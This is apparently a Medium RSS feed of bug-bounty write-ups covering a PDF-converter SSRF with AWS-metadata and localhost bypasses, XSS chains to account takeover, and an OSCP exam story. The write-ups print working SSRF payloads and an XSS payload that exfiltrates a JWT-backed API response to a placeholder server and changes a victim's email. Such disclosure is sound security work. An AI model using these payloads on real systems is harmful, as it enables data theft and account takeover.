<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jatin Nandwana on Medium]]></title>
        <description><![CDATA[Stories by Jatin Nandwana on Medium]]></description>
        <link>https://medium.com/@bughunter25?source=rss-480372992331------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*nmxvHyvX17QlYpIf</url>
            <title>Stories by Jatin Nandwana on Medium</title>
            <link>https://medium.com/@bughunter25?source=rss-480372992331------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 02:37:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bughunter25/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A tale of Html to Pdf converter ssrf and various bypasses]]></title>
            <link>https://bughunter25.medium.com/a-tale-of-html-to-pdf-converter-ssrf-and-various-bypasses-4a3e11030c77?source=rss-480372992331------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a3e11030c77</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Jatin Nandwana]]></dc:creator>
            <pubDate>Wed, 28 Apr 2021 06:37:29 GMT</pubDate>
            <atom:updated>2021-07-09T14:54:35.222Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zrcc8hJ5UKGyaAtuNmlnNA.jpeg" /></figure><p>Hey hackers, hope you are all doing good in this pandemic, this is a story of a ssrf I found in a private program through the html to pdf converter functionality and was able to read internal files, aws metadata and some internal debug ports with juicy customer information. I will divide the various bypasses and exploitation I found in 3 parts.</p><p><strong>SSRF TO AWS KEYS AND SENSITIVE INFORMATION DISCLOSURE</strong></p><p>So I started testing the web application and after seeing the pdf converter functionality I quickly tested for some quick ssrf payloads. The application was fetching url from a remote location so I setup a remote http server and stored a html file with below payload and set the parameter ‘source’ to my server url.</p><p>&lt;iframe src=”file:///etc/passwd” /&gt;</p><p>But I was not able to see any response in the converted pdf. Then I poked the parameters a little more and send an invalid url in the parameter source like this ‘dasdad’ and was able to see a juicy error which caught my eyes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*GbGq6ItH413y5D5vv7Rc7Q.png" /></figure><p>So this error itself is big hint for the next exploitation steps :p</p><p>Infact there might be two exploitation ways as we can see Doctype(xxe) as well but xxe was not possible here, I guess they had right protection in the place for it. But html can be sent in the parameter and so I quickly send this payload in the source parameter</p><p>source=&lt;html&gt;&lt;iframe+src=”file:///etc/passwd”+style=”width:100%;+height:100%” /&gt;&lt;/html&gt;</p><p>And I was able to see the content of passwd file in the converted pdf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*UPUPo6Uq2o71oLoCRsJypw.png" /></figure><p>Now most of you will stop here, but I wanted to go more deep so I looked for the users in the passwd file, and read all files of the users in their home directory, in .bash_history file of an user I saw some juicy commands which led me two things one was an interesting port and one was an environment file. The environment file /var/www/&lt;REDACTED&gt;/.env contained the working aws keys of the organization and I could place files , delete files, read customer data , in the organizations buckets. I tried rce as well but it was not working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/105/1*Yj6kvosdT9R__WsCqgzTkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*4S0rvOfzZL_oSZaLT05OKg.png" /></figure><p>and the interesting port was 9192 which was a chrome debugging port. I quickly remembered the h1–415 2020 challenge which I read earlier and it had this chrome debug port in the ctf which contained an interesting endpoint. I quickly went through some <a href="https://hackerone.com/reports/781295">writeups</a> and found that endpoint 127.0.0.1:9222/json/list . By default the port is 9222 but in my case it was changed to 9192 but I eventually found it through the .env file :p . Now I sent this payload</p><p>source=&lt;html&gt;&lt;iframe+src=”http://127.0.0.1:9192/json/list”+style=”width:100%;+height:100%” /&gt;&lt;/html&gt;</p><p>Note : style was used to render the generated pdf properly so that it could fit the page and show the required data on the screen.</p><p>And saw the various urls which were thrown by all users in the live pdf conversion application. I was able to see various payment receipts with name,number,addresses,emails , session tokens in url, and it was continuously updating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/242/1*K8vzDPRh5hCmCuO477gHXA.png" /></figure><p>I stopped here as I had got enough impact now, I made a report and sent it to the security team. Got a nice bounty $$$$ for it :) So this was the first part.</p><p><strong>SSRF BYPASSES</strong></p><p>Now after sometime the program fixed the vulnerability and told me to retest. The fix they applied were to block the file:/// protocol and local address like <a href="http://127.0.0.1/">http://127.0.0.1</a> and <a href="http://localhost./">http://localhost.</a></p><p><em>BYPASS 1</em></p><p>I bypassed the localhost url with this technique <a href="http://0.0.0.0:9192/json/list">http://0.0.0.0:9192/json/list</a> and <a href="http://0.0.0.0:9192/json/list">http://0:9192/json/list</a> , just send this payload in source parameter</p><p>source=&lt;html&gt;&lt;iframe+src=”http://0.0.0.0:9192/json/list”+style=”width:100%;+height:100%” /&gt;&lt;/html&gt;</p><p><em>BYPASS 2</em></p><p>They fixed it again by blocking all 0.* and 127.* addresses. I also shared them various bypass techniques mentioned in the awesome s<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery">wisskyrepo</a> but they somehow missed the alternate IP encoding. This time they disabled the /json/list endpoint in the chrome debug port. So I randomly tried the address 169.254.169.254(which was not working earlier in the first phase!) and to my surprise its ip encoded equivalent worked now and I could fetch their aws keys again. I guess they made the aws meta data accessible or some configuration got messed up during their fix of previous ssrf.</p><p>So now my bypasses looked like this</p><p>http://2852039166/ - <a href="http://169.254.169.254/">http://169.254.169.2</a>54</p><p>http://7147006462/ - <a href="http://169.254.169.254/">http://169.254.169.254</a></p><p>source=&lt;html&gt;&lt;iframe+src=&quot;<a href="http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role">http://2852039166/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role</a>&quot;+style=&quot;width:100%;+height:100%;&quot;&gt;&lt;/iframe&gt;&lt;/html&gt;</p><p>In this manner I was able to bypass the ssrf protection. The next fix they made was very secured , I tried a hell lot of bypasses like the dawgyg <a href="https://twitter.com/thedawgyg/status/1224547692967342080">ssrf trick </a>and many other tricks but none of them worked.</p><p><strong>SECOND SSRF</strong></p><p>Now after the source parameter got fixed, I looked for other parameters and one more parameter which took my attention was header[source]. This was used to add any remote hosted image on the header of the pdf generated. I tried for the aws metadata and was able to access the aws keys again with this .</p><p>&amp;header[source]=<a href="http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role&amp;header%5Bheight%5D=111">http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role&amp;header[height]=111</a></p><p>Note : Height was used to render the generated pdf properly so that it could fit the page and show the required data on the screen.</p><p>They applied all the fix of the first ssrf to this one as well and made it super secured and awarded a nice bounty $$$ for both 2nd and 3rd one combined.</p><p><strong>Key Takeaways :</strong></p><ul><li>Always try to escalate a local file read by doing proper enumeration like seeing all the files of the users, conf files, .bash_history files etc.</li><li>Keep reading and reading other articles and ctf challenges . If I dont knew about the h1 ctf which included chrome debug port with /json/list endpoint I cant show them impact about the users info leakage.</li><li>If their is a fix applied, always try to bypass it.</li></ul><p>I want to thank <a href="https://twitter.com/ManasH4rsh">Harsh manas</a> for the proofreading, thank you bro :)</p><p>Thats it .If you like the article please share it with your friends. I have some more pending writeups which I will publish soon here so make sure you follow me on twitter where I will keep updating :)</p><p>Twitter : <a href="https://twitter.com/techyfreakk">https://twitter.com/techyfreakk</a></p><p>If any recruiters reading this, I am also available for any position of web application pentesting or network pentesting, you can dm me on twitter.</p><p>Stay safe, wear a mask :)</p><p>Thanks</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a3e11030c77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Self stored xss to full account takeover]]></title>
            <link>https://bughunter25.medium.com/self-stored-xss-to-full-account-takeover-fe8e71471795?source=rss-480372992331------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe8e71471795</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Jatin Nandwana]]></dc:creator>
            <pubDate>Sun, 12 Jul 2020 07:54:22 GMT</pubDate>
            <atom:updated>2020-08-06T09:31:10.710Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey,</p><p>Today I will share you my recent finding which was a self xss but I turned it into a full account takeover using various other misconfigurations and features already available on the website.</p><p>EXPLOITATION SCENARIO :</p><ul><li>Self stored xss</li><li>Google login csrf to good xss</li><li>Logout of attacker account</li><li>Using previous google login to get into victim account</li><li>Stealing password change csrf token</li><li>Changing the password</li><li>Sending email+password to the server</li></ul><p>So this was a private program so every thing will be redacted. During my testing I found a simple stored xss which was in the profile upload functionality. The functionality was like this, whenever I uploaded an image from my local drive, first the website uploads it to an other server, and in the next request it stores the url of that image stored on other server to the current website. I placed a simple “&gt;&lt;script&gt;alert(1)&lt;/script&gt; in that url something like this <strong>&amp;imageurl=https://example.com“&gt;&lt;script&gt;alert(1)&lt;/script&gt;</strong> and the alert box popped up each time I visited my profile. But this was only a self xss. I needed to make it execute at the victim side.</p><p>I knew that there was a google login method in the site and I can login into my account using this html code and make him visit my profile page after 5 seconds where xss was stored using the setTimeout function in javascript. Here the TOKEN is the google login token which can be captured after logging in to the account and it stays active for 1 day so we can send it to a victim and it can be automated to update it regularly.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0676cc6f7c2e644481de9afd2cb2112d/href">https://medium.com/media/0676cc6f7c2e644481de9afd2cb2112d/href</a></iframe><p>So after this I shown a scenario in the report where an attacker can make a user visit the website and with the help of xss do some social engineering to steal his data as the url in the browser was of the same website, it makes attack more believable. The exploit was appreciated by the h1 triager, but he wanted me to execute xss on the victim account for a good impact. And I will say the triager somehow motivated me through his words and I thank him for that 💙</p><p>So the next task for me was to somehow login to the victim account and execute the xss. A quick recap :</p><ul><li>Self xss on profile page</li><li>Csrf to login in attacker account using google login token to good xss</li></ul><p>Now my curiosity said that what if the victim is already using his google account on the site , cant we use that account to pop xss on victim? Yeah definitely and then I did some research about this topic and I knew this writeup which I read before <a href="https://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/">https://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/</a> from <a href="https://twitter.com/emgeekboy">@emgeekboy</a> and this helped me to move forward a lot.</p><p>As mentioned in the writeup we first need to logout the user from his account. In my case it was not a simple logout url , logout only happened with a csrf token placed in the parameter csrf. But the token itself is placed in the source code so we can easily steal it with the xss. So I wrote this javascript to logout from attacker account using an iframe. This was hosted on my server and I updated the xss payload like this <strong>“&gt;&lt;script src=”https://myserver.com/exploit.js”&gt;&lt;/script&gt; </strong>in the original xss</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fbcaf04cd1066c5896391311b6634d3a/href">https://medium.com/media/fbcaf04cd1066c5896391311b6634d3a/href</a></iframe><p>In this way I logged out from my account(Attacker),now I needed to login to the victim account using the google login button ,but the problem I was facing was that there was no url for logging in to the google, and only way to do so was by clicking on that google login button. So now I started reading about javascript for clicking a button inside the dom and soon was able to do with this script. Its a little complicated, what I have done here is open an another iframe inside the previous iframe, when that second iframe loads properly, use its dom to click the google login button after 30 seconds so that the frame loads properly.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/90d33dc2b7d3d61f09b28283497148ea/href">https://medium.com/media/90d33dc2b7d3d61f09b28283497148ea/href</a></iframe><p>Now I was in the victim account, but if I had reached this much why not use other misconfugurations to escalate to a full account takeover. Cookies were httponly so no chance to steal them. In the settings we can add a password to a google account as well, and the funny thing was it does not require any previous password. So now my end goal was to construct a exploit to change the password and javascript helped me to do so ❤️</p><p>Now I needed to get some more things for the next steps and those were :</p><ul><li>There was a different csrf token for password change as well and it was only on the settings page source code. I needed it in order to perform password change.</li><li>Settings page for an user was like this <a href="https://example.com/user/setting">https://example.com/user/setting</a> so I needed the username as well to go to that page and steal csrf token</li></ul><p>If you remember the above code where I stole csrf token from source code, the same place had the username as well so I can get the username in the same manner. Next I need to visit this link where the csrf token for password change is there <a href="https://example.com/user/setting">https://example.com/&lt;USER_NAME_OBTAINED&gt;/setting</a>. Now for this I opened yet another iframe inside the previous iframe and stole the csrf token, the javascript code for the same is like this,</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9ff4981552460c5b2a3fc3a67bf14225/href">https://medium.com/media/9ff4981552460c5b2a3fc3a67bf14225/href</a></iframe><p>So now I got the password change csrf token, I just need to make a xmlhttp POST request to change the victims password, and the javascript code for it</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/623103442dd491f84ac07961196a3446/href">https://medium.com/media/623103442dd491f84ac07961196a3446/href</a></iframe><p>But as an attackers point of view you must be thinking, ok I changed the password for an user but how to get access to his email. I need both the credentials for an successful account takeover. Thankfully the email was stored in the local storage of the same site. So I used that to send the final credentials to my server using the javascript fetch api.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/af09017e85b2241f512ec13055ee4682/href">https://medium.com/media/af09017e85b2241f512ec13055ee4682/href</a></iframe><p>In this way I was able to completely takeover an account using a simple self stored xss.</p><p>You can read the full exploit code here <a href="https://gist.github.com/yourbuddy25/75080f317a464ca8a46acd8e5b5f8be6">https://gist.github.com/yourbuddy25/75080f317a464ca8a46acd8e5b5f8be6</a>. The full exploit takes atleast 1 minute to fully takeover an account due to timeouts set on the iframes to load them properly.</p><p>MAIN TAKEAWAYS :</p><ol><li>Always try to escalate a xss, like stealing some personal information through local session storage, account takeovers,privilege escalation or a normal phishing scenario.</li><li>Javascript is very powerful, it can even create clicks so always look for opportunities where you use those clicks for you advantage like google login, account delete button with clickjacking protection, etc.</li><li>Sometimes main part of exploitation is creating the exploit manually using different languages, so always be keen to learn and understand about new languages. I was a beginner in javascript, but some googling helped me to make the exploit. At first I was feared how would I tackle so many steps, but I was determined and made the exploit in around 6–7 hours with some breaks.</li></ol><p>I am also activley looking for any penetration testing, or any other appsec engineer position. If any recruiter reading this, they can contact me below.</p><p>TWITTER : <a href="https://twitter.com/techyfreakk">https://twitter.com/techyfreakk</a></p><p>LINKEDIN : <a href="https://www.linkedin.com/in/jatin-nandwana-38121654/">https://www.linkedin.com/in/jatin-nandwana-38121654/</a></p><p>Thanks for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe8e71471795" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My OSCP story]]></title>
            <link>https://bughunter25.medium.com/my-oscp-story-6882a48acdd4?source=rss-480372992331------2</link>
            <guid isPermaLink="false">https://medium.com/p/6882a48acdd4</guid>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Jatin Nandwana]]></dc:creator>
            <pubDate>Thu, 05 Mar 2020 07:07:52 GMT</pubDate>
            <atom:updated>2020-03-05T07:07:52.469Z</atom:updated>
            <content:encoded><![CDATA[<p>My OSCP story</p><p>So it all began in 2018 when I saw this certification on the internet which seemed like a challenging one and a good entry level pentesting certification. So I set a goal for myself that I want to achieve it in end of 2019. During the time I got to know about this certification, I had some knowledge about linux,networking,some web application vulnerabilities, and a very little knowledge about network pentesting.</p><p>BEGINNING</p><p>I started my preparation by signing up on <a href="http://hackthebox.eu/">http://hackthebox.eu/</a> and solving some easy active boxes, and started learning more about port scanning , service detection, enumeration of various services on host, public exploits, privilege escalation etc. After solving some boxes I got a basic knowledge about network pentesting. So I keep on learning more advanced stuff like privilege escalation from various articles, blogs, videos and Ippsec youtube channel. Believe me just watch all his videos you will learn a lot.</p><p>Some resources which might help you for practicing:</p><ul><li><a href="http://hackthebox.eu/">http://hackthebox.eu/</a></li><li><a href="https://www.root-me.org/">https://www.root-me.org</a></li><li><a href="https://www.vulnhub.com/">https://www.vulnhub.com/</a></li></ul><p>Root-me and Vulnhub are also great places to learn more. On root-me.org you have a environment where 15 vms are there to be spawned and the vulnerable machines are regularly updated. It helped me a lot in preparation. But for getting shells here you would either port forward your router or install a third party tool like ngrok which I think is great for practice. On vulnhub you can download vulnerable virtual machines and install them on your vm software (Most only work on virtual box!), it has an advantage that its on your own network so everything is super fast like nmap.</p><p>Then I saw this list of oscp like boxes on hackthebox from Tjnull but most boxes are retired and needs a vip subscription. So in August 2019 I got the vip subscription for 1 month, and start solving those list boxes, and in 1 month I almost finished all the boxes of that list with some insane ones left. I took some help from ippsec videos when I got stuck. But my advice would be to try your best for atleast 1 day and then take help. It may help you in forming a good methodology and tackle rabbit holes. Then after solving watch whole ippsec video for new attack vectors and techniques.</p><p>Here is the complete list of updated oscp like boxes from Tjnull</p><p><a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159">NetSecFocus Trophy Room</a></p><p>After solving all those boxes, I thought now its time to sign up for the oscp. But I had some issues is payment ,I could have started a month ago but the limit issues from my card made me stuck. But better late than never. So finally I bought the 60 days labs starting from 5 October</p><p>PWK LABS</p><p>So my plan was simple to first finish the guide and exercises and then start the labs. In around 7 days I completed most of the exercises. Then started the labs. So in next 35 days I finished almost all the boxes with some boxes left in other networks, but public network was almost done. For lab boxes you can get help from forum but as said above try your best to avoid forums and help and try do it on your own until you are really stuck.</p><p>BUFFER OVERFLOW</p><p>In my opinion pwk material is enough to practice the buffer overflow. For a more better preparation, there are some vulnerable stack based bof available there like brainpan, <a href="https://github.com/justinsteven/dostackbufferoverflowgood">dostackbufferoverflowgood,</a> <a href="https://www.exploit-db.com/exploits/638">slmail,</a> <a href="https://www.exploit-db.com/exploits/17546">freefloatFtp</a>.</p><p>In my opinion some boxes in labs are a little old but the labs really teaches us the real world pentesting methodology, how to handle public exploits, modify them, client side attacks etc. But I would suggest you to not rely on kernel exploits most of the times, if you cant find anything then use them. Otherwise you will fail to learn various other privilege escalation techniques.</p><p>Now after solving around 53 boxes in labs I thought lets schedule the exam in end of november. Before that I did some more active hackthebox with rating above 4.5 because some hackthebox machines are more ctfish and some vulnhub machines.And scheduled my exam for 25 november at 10:30 AM</p><p>From 11 november to 23 november I did the lab report(took 2 days), practiced buffer overflow once more from the guide, did some htbs and vulnhub and make sure I had all my tools, wordlists ,etc set up before the exam. I also made a restore point for the fully functional pwk vm for emergency.</p><p>For lab report, its upto you to do or not. Because some people say its too much for 5 points and some regret when they fail the exam by a little points. So in my advice if you have time then do it. So on 24 november I took a full rest without any screens ;)</p><p>THE DAY!</p><p>So I sat at 9:45 AM, and every process was done till 10:30 AM and started my exam at 10:40 AM. My exam plan was to do the bof first and run the scans on the other hosts till I do bof. And I did the same. I finished the bof in about 45 minutes. Till then my scans also finished. Then I jumped to 20 pointer box. stuck on it for almost 1:30 hours but nothing done yet, move on to the other 20 pointer, found some thing, but was not able to do anything, it was around 1:00 PM and I just had done bof. I was very nervous and thinking I would fail this time. Then I jumped to 10 pointer box and solved it and took a lunch break. I came back again at 2:30 PM.</p><p>Again started doing the second 20 pointer box and in around 1:30 hour I manage to get it. After getting that box I could feel I can do it just one more box to do. I jumped to the 25 pointer box. Managed to get shell on it in half an hour. But for privilege escalation I was stuck so I moved on to the first 20 pointer. This time I got the shell on it in around half an hour. So I had enough points to pass now with the lab report at around 5:30 PM. Took a break and I went back to the 25 pointer box at around 6:00 PM. I was so close but not able to do that. I was tired so I thought of sleeping for some hours. I slept at 10:00 PM and woke up fresh at 4:30 AM in the morning and continued the exam at 5:00 AM. My plan was to finish the other 20 pointer and I got it in 2 hours. Now I have done 4.5 out of 5 boxes. I left that 25 pointer and started doing my exam report and verified that I had all the screenshots. And the exam ended at 10:30 AM.</p><p>Now I could say I had done it but still the report to be done</p><p>My exam report was finished around 11:00 AM. Just needed some proper formatting.</p><p>I relaxed and continued the report at 5:00 PM and submitted it with the lab report, just because I spent a lot of time on the lab report. Now the waiting game starts :)</p><p>Exam experience was really nice and proctors are really friendly, I never felt that someone is even watching me :)</p><p>Seriously waiting for that email is more painful than solving the top four in the labs lol ;)</p><p>But finally got that mail in 2 days after exam that I had PASSED!!!</p><p>Thanks for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6882a48acdd4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Story of a stored xss to full account takeover vulnerability(N/A to accepted)]]></title>
            <link>https://bughunter25.medium.com/story-of-a-stored-xss-to-full-account-takeover-vulnerability-n-a-to-accepted-8478aa5e0d8e?source=rss-480372992331------2</link>
            <guid isPermaLink="false">https://medium.com/p/8478aa5e0d8e</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-app-security]]></category>
            <dc:creator><![CDATA[Jatin Nandwana]]></dc:creator>
            <pubDate>Thu, 04 Jul 2019 15:02:32 GMT</pubDate>
            <atom:updated>2019-07-04T15:02:32.400Z</atom:updated>
            <content:encoded><![CDATA[<p>Story of a stored xss to full account takeover vulnerability(N/A to accepted)</p><p>Hey everyone,</p><p>This is one of my most best finds ever which took me some days to exploit but when I finally exploited it, it was the best feeling in the world!!</p><p>So lets begin,</p><p>I got a invite on a private program on hackerone and I started testing on it. As this was a private program I will use example.com instead of main program.</p><p>This site was mainly for the purpose of group purposes so companies can share their data among other peoples and can invite other people having account on this site.During the initial testing I was looking for random bugs like csrf,xss,session misconfigs etc. And soon I found a stored xss bug.</p><p>There was a functionality on the site to create some kind of mindmaps where we can store data for different purposes for memory recalling. And there were some templates to do this. And this was the request which got issued during creation of them,</p><blockquote>POST /endpoint</blockquote><blockquote>Site: example.com</blockquote><blockquote>{“tag1&quot;:”abc”,”tag2&quot;:”def”,”html”:”&lt;div&gt;blabla”}</blockquote><p>And this div took my attention, and I added a simple html tag like &lt;b&gt;test&lt;/b&gt; and it rendered it properly. Now I tried something like &lt;script&gt;alert(6)&lt;/script&gt; , it doesnt executed. Well xss can be executed in other ways as well using &lt;image&gt;,&lt;iframe&gt;,&lt;svg&gt; etc. I tried &lt;image src=x onerror=alert(5)/&gt; and alert popped up. And because of excitement of stored xss I reported this and this was the reply from them after 15 days.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*kwf1HwP7S-dpQQBtOqtL_A.jpeg" /></figure><p>Woah! really! then how the pop-up came.I didnt want to argue much and start chaining it with other bugs I found on the site. There was a jwt token used as a csrf protection in the every sensitive requests which got changed after every 600 seconds I guess. Very secured right?</p><p>Now the jwt tokens were stored not in cookies but in local html storage. Now the hacker inside me arised and I thought cant this be chained with the xss I found earlier to steal users information and I quickly remembered xmHttpRequest . Now as we can add javascript in onload handler of svg tags I prepared a quick poc to steal users information by first stealing jwt token from html storage and then adding it to auth request headers in the xmlhttprequest and this was my payload after some searching on xmlhttprequest and fetch api,</p><blockquote>POST /endpoint</blockquote><blockquote>Site: example.com</blockquote><p>{“tag1”:”abc”,”tag2&quot;:”def”,”html”:”&lt;svg onload=\”var token=localStorage.getItem(‘jwt’);var xhr=new XMLHttpRequest();xhr.open(‘GET’,’https:/example.com/api/v0/endpoint/’, true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8&#39;);xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);xhr.send();xhr.onreadystatechange = function() { if (this.readyState == 4 &amp;&amp; this.status == 200) { alert(xhr.responseText);<br>fetch(‘<a href="https://yourserver/?q=&#39;+xhr.responseText);}};\">https://YOURSERVER?q=&#39;+xhr.responseText);}};\</a>&quot;/&gt;&quot;}</p><p>What this does is steals jwt token from local storage, make a xmlhttprequest to sensitive endpoint append the Authorization header(i,e jwt ) that was stolen, and sends the response with users sensitive information to our server through fetch api.</p><p>But the hacker inside in me was not satisfied and I want to do a full account takeover. I though lets try.</p><p>And from my initial testing I know that the application doesnt asks for password during email change and made a PATCH request like this with the auth header in request</p><blockquote>PATCH /email-change</blockquote><blockquote>{“email”:”x@x.com”}</blockquote><p>As PATCH requests are allowed in xmlhttprequest I though lets give it a try. Now the real struggle came in. Firstly I want to tell you that in this PATCH request we require json data. And from above first payload you will see that the POST request itself contains a json payload.</p><blockquote>POST /endpoint</blockquote><blockquote>Site: example.com</blockquote><blockquote>{“tag1”:”abc”,”tag2&quot;:”def”,”html”:”&lt;PAYLOAD&gt;”}</blockquote><p>New payload :</p><p>&lt;svg onload=\”var token=localStorage.getItem(‘jwt’);alert(token);var xhr=new XMLHttpRequest();xhr.open(‘PATCH’,’https://site.com/v0/user&#39;, true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8&#39;);xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);var body=<strong>’{“email”:”x@x.com”}’</strong>;xhr.send(parsed);xhr.onreadystatechange = function() { if (this.readyState == 4 &amp;&amp; this.status == 200) { alert(xhr.responseText) }};\”/&gt;</p><p>Elaborating more when I made this request with our payload in it, you will notice that first our whole payload is in html parameter of original json which is in and must be in double quotes(property of json), and inside that we have the svg payload which have onload handler which also have double quotes(ok, we will escape it with backslash), but there is also a PATCH request for the account takeover which have json data(double quotes necessary right) but we already have escaped double quotes outside in onload handler,(you must be thinking escape it with two backslash simple, ok done) now the site accepted the data but when I visited this place where stored xss was the PATCH request was not issued from xss probably because of two backslashes in json data. In console it was saying “literal contains an unescaped line break”. This is where I struggled for two days.</p><p><strong>WHAT WERE THE PROBLEMS I WAS FACING :</strong></p><ol><li>Whenever I send a single quote in the json data of PATCH request inside onload handler the request failed saying “invalid json”</li><li>Whenever I send a double quote in the json data of PATCH request inside onload handler the request accepted but the PATCH request in real xss failed.</li></ol><p>Now I was stuck from both the ends. I tried many different things and a lot of googling, stackoverflowing about this but was still unsuccessful and was always facing one of the two above problems. I even tried implementing single quoted json to convert it to double quoted during the run like this</p><blockquote>var body = {‘email’:’’x@x.com}</blockquote><blockquote>body.replace(/’/g, ‘“‘)</blockquote><p>But this also failed as it also required the double quotes in replace function.</p><p>I felt like quitting here.</p><p><strong>EVAL COMES TO THE RESCUE</strong></p><p>After 2 days and some more googling I found out there also a way to make single quoted json into double quoted json with eval. So you can convert single quoted json to double quoted json with eval without using double quotes anywhere,</p><blockquote>var test = {‘a’:’b’};</blockquote><p>var new = eval(‘(‘ + test + ’)’);</p><p>and then I felt I am prettly close, I made the new payload which have single quoted data inside body parameter and the evl function convert it to double quotes and then we</p><blockquote>&lt;svg onload=\”var token=localStorage.getItem(‘jwt’);var xhr=new XMLHttpRequest();xhr.open(‘PATCH’,’https://example.com/api/v0/user&#39;, true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8&#39;);xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);var body=<strong>’{\\’email\\’:\\’x@x.com\\’}’;str = eval(‘(‘ + body + ‘)’);var parsed=JSON.stringify(str);xhr.send(parsed);</strong>xhr.onreadystatechange = function() { if (this.readyState == 4 &amp;&amp; this.status == 200) { alert(xhr.responseText) }};\”/&gt;</blockquote><p>and sent the request got accepted. Woah!! passed the first stage, now when I loaded the the page where stored xss was there. The xss executed and no errors in console, I was like I have done that and in within a minute a confirmation email at our attackers email account received to verify the new email address for the account. I was so relaxed at that moment and also very happy at the same time. Finally after trying 100’s of payload and after 3–4 days I got the right payload for full account takeover. Probably I was weak in the basics of json implementation in javascript which took me so much time in making this payload worked, but the struggle was the real part where my hacking instints came up and I was like if this failed I should try this and finally the struggle paid off. Might be the good experts must have found this quickly but I really loved the struggle as it taught me to not give up till you think its possible.</p><p>Now what this payload does is makes PATCH request to issue a new email for user , whoever visits that mindmap, the xss executes and changes his/her email to the attackers email.</p><p><strong>Vulnerabilities Chained =&gt; Stored xss + Jwt token in html local storage + No password protection on email change</strong></p><p>Finally they accepted this bug because of the account takeover poc I showed them and was awarded a good bounty by them.Always try to increase the impact of xss by chaining it with other bugs like token stealing,csrf, etc.</p><p><em>XSS is more than an alert</em></p><p>Thanks,</p><p>Jatin</p><p><strong>Twitter </strong>: <a href="https://twitter.com/techyfreakk">https://twitter.com/techyfreakk</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8478aa5e0d8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Story of a uri based xss with some simple google dorking]]></title>
